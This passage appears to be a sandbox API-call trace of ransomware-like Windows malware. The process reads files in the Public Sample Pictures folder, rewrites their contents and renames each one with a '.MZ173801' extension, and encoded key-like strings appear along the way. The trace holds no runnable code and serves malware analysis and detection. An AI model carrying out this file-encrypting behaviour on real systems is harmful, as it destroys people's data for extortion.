lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0143.229] GetCurrentThreadId () returned 0x9fc [0143.229] GetCurrentThreadId () returned 0x9fc [0143.229] GetCurrentThreadId () returned 0x9fc [0143.229] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0143.229] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0143.229] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0143.229] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0xd6b22 [0143.230] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0143.230] VirtualAlloc (lpAddress=0x0, dwSize=0xe0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7eec0000 [0143.230] ReadFile (in: hFile=0x224, lpBuffer=0x7eec0010, nNumberOfBytesToRead=0xd6b22, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x7eec0010*, lpNumberOfBytesRead=0x18f6c4*=0xd6b22, lpOverlapped=0x0) returned 1 [0143.249] CloseHandle (hObject=0x224) returned 1 [0143.249] VirtualAlloc (lpAddress=0x0, dwSize=0xe0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ede0000 [0143.252] VirtualAlloc (lpAddress=0x0, dwSize=0x70000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ed70000 [0143.259] VirtualQuery (in: lpAddress=0x7ede0000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7ede0000, AllocationBase=0x7ede0000, AllocationProtect=0x4, RegionSize=0xe0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0143.259] VirtualAlloc (lpAddress=0x0, dwSize=0x90000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ece0000 [0143.269] VirtualQuery (in: lpAddress=0x7ed70000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7ed70000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x70000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0143.269] VirtualAlloc (lpAddress=0x7ed70000, dwSize=0x30000, flAllocationType=0x2000, flProtect=0x4) returned 0x7ed70000 [0143.270] VirtualAlloc (lpAddress=0x7ed70000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ed70000 [0143.274] VirtualQuery (in: lpAddress=0x7eda0000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7eda0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x40000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0143.274] VirtualAlloc (lpAddress=0x7eda0000, dwSize=0x30000, flAllocationType=0x2000, flProtect=0x4) returned 0x7eda0000 [0143.274] VirtualAlloc (lpAddress=0x7eda0000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x7eda0000 [0143.295] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0143.305] WriteFile (in: hFile=0x224, lpBuffer=0x7ede0010*, nNumberOfBytesToWrite=0xd6b22, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x7ede0010*, lpNumberOfBytesWritten=0x18f6d0*=0xd6b22, lpOverlapped=0x0) returned 1 [0143.339] CloseHandle (hObject=0x224) returned 1 [0143.339] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.MZ173801" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg.mz173801")) returned 1 [0143.340] VirtualFree (lpAddress=0x7eec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.345] VirtualFree (lpAddress=0x7ede0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.351] VirtualQuery (in: lpAddress=0x7ece0000, lpBuffer=0x18f6c8, dwLength=0x1c | out: lpBuffer=0x18f6c8*(BaseAddress=0x7ece0000, AllocationBase=0x7ece0000, AllocationProtect=0x4, RegionSize=0x90000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0143.351] VirtualFree (lpAddress=0x7ece0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.355] VirtualQuery (in: lpAddress=0x7ed70000, lpBuffer=0x18f6c8, dwLength=0x1c | out: lpBuffer=0x18f6c8*(BaseAddress=0x7ed70000, AllocationBase=0x7ed70000, AllocationProtect=0x4, RegionSize=0x30000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0143.355] VirtualFree (lpAddress=0x7ed70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.357] VirtualQuery (in: lpAddress=0x7eda0000, lpBuffer=0x18f6c8, dwLength=0x1c | out: lpBuffer=0x18f6c8*(BaseAddress=0x7eda0000, AllocationBase=0x7eda0000, AllocationProtect=0x4, RegionSize=0x30000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0143.357] VirtualFree (lpAddress=0x7eda0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.358] GetCurrentThreadId () returned 0x9fc [0143.358] GetCurrentThreadId () returned 0x9fc [0143.358] GetCurrentThreadId () returned 0x9fc [0143.358] GetCurrentThreadId () returned 0x9fc [0143.358] GetCurrentThreadId () returned 0x9fc [0143.358] GetCurrentThreadId () returned 0x9fc [0143.358] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xce875, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Desert.jpg", cAlternateFileName="")) returned 1 [0143.358] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0143.358] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0143.359] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xce875)) returned 1 [0143.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0143.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0143.362] GetCurrentThreadId () returned 0x9fc [0143.362] GetCurrentThreadId () returned 0x9fc [0143.362] GetCurrentThreadId () returned 0x9fc [0143.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0143.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0143.363] GetCurrentThreadId () returned 0x9fc [0143.363] GetCurrentThreadId () returned 0x9fc [0143.363] GetCurrentThreadId () returned 0x9fc [0143.363] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0143.363] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0143.363] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0143.363] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0xce875 [0143.363] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0143.363] VirtualAlloc (lpAddress=0x0, dwSize=0xe0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7eec0000 [0143.364] ReadFile (in: hFile=0x224, lpBuffer=0x7eec0010, nNumberOfBytesToRead=0xce875, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x7eec0010*, lpNumberOfBytesRead=0x18f6c4*=0xce875, lpOverlapped=0x0) returned 1 [0143.383] CloseHandle (hObject=0x224) returned 1 [0143.383] VirtualAlloc (lpAddress=0x0, dwSize=0xe0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ede0000 [0143.387] VirtualAlloc (lpAddress=0x0, dwSize=0x70000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ed70000 [0143.394] VirtualQuery (in: lpAddress=0x7ede0000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7ede0000, AllocationBase=0x7ede0000, AllocationProtect=0x4, RegionSize=0xe0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0143.394] VirtualAlloc (lpAddress=0x0, dwSize=0x90000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ece0000 [0143.404] VirtualQuery (in: lpAddress=0x7ed70000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7ed70000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x70000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0143.404] VirtualAlloc (lpAddress=0x7ed70000, dwSize=0x30000, flAllocationType=0x2000, flProtect=0x4) returned 0x7ed70000 [0143.405] VirtualAlloc (lpAddress=0x7ed70000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ed70000 [0143.410] VirtualQuery (in: lpAddress=0x7eda0000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7eda0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x40000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0143.410] VirtualAlloc (lpAddress=0x7eda0000, dwSize=0x30000, flAllocationType=0x2000, flProtect=0x4) returned 0x7eda0000 [0143.410] VirtualAlloc (lpAddress=0x7eda0000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x7eda0000 [0143.428] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0143.438] WriteFile (in: hFile=0x224, lpBuffer=0x7ede0010*, nNumberOfBytesToWrite=0xce875, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x7ede0010*, lpNumberOfBytesWritten=0x18f6d0*=0xce875, lpOverlapped=0x0) returned 1 [0143.484] CloseHandle (hObject=0x224) returned 1 [0143.485] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg.MZ173801" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg.mz173801")) returned 1 [0143.486] VirtualFree (lpAddress=0x7eec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.491] VirtualFree (lpAddress=0x7ede0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.497] VirtualQuery (in: lpAddress=0x7ece0000, lpBuffer=0x18f6c8, dwLength=0x1c | out: lpBuffer=0x18f6c8*(BaseAddress=0x7ece0000, AllocationBase=0x7ece0000, AllocationProtect=0x4, RegionSize=0x90000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0143.497] VirtualFree (lpAddress=0x7ece0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.500] VirtualQuery (in: lpAddress=0x7ed70000, lpBuffer=0x18f6c8, dwLength=0x1c | out: lpBuffer=0x18f6c8*(BaseAddress=0x7ed70000, AllocationBase=0x7ed70000, AllocationProtect=0x4, RegionSize=0x30000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0143.500] VirtualFree (lpAddress=0x7ed70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.503] VirtualQuery (in: lpAddress=0x7eda0000, lpBuffer=0x18f6c8, dwLength=0x1c | out: lpBuffer=0x18f6c8*(BaseAddress=0x7eda0000, AllocationBase=0x7eda0000, AllocationProtect=0x4, RegionSize=0x30000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0143.503] VirtualFree (lpAddress=0x7eda0000, 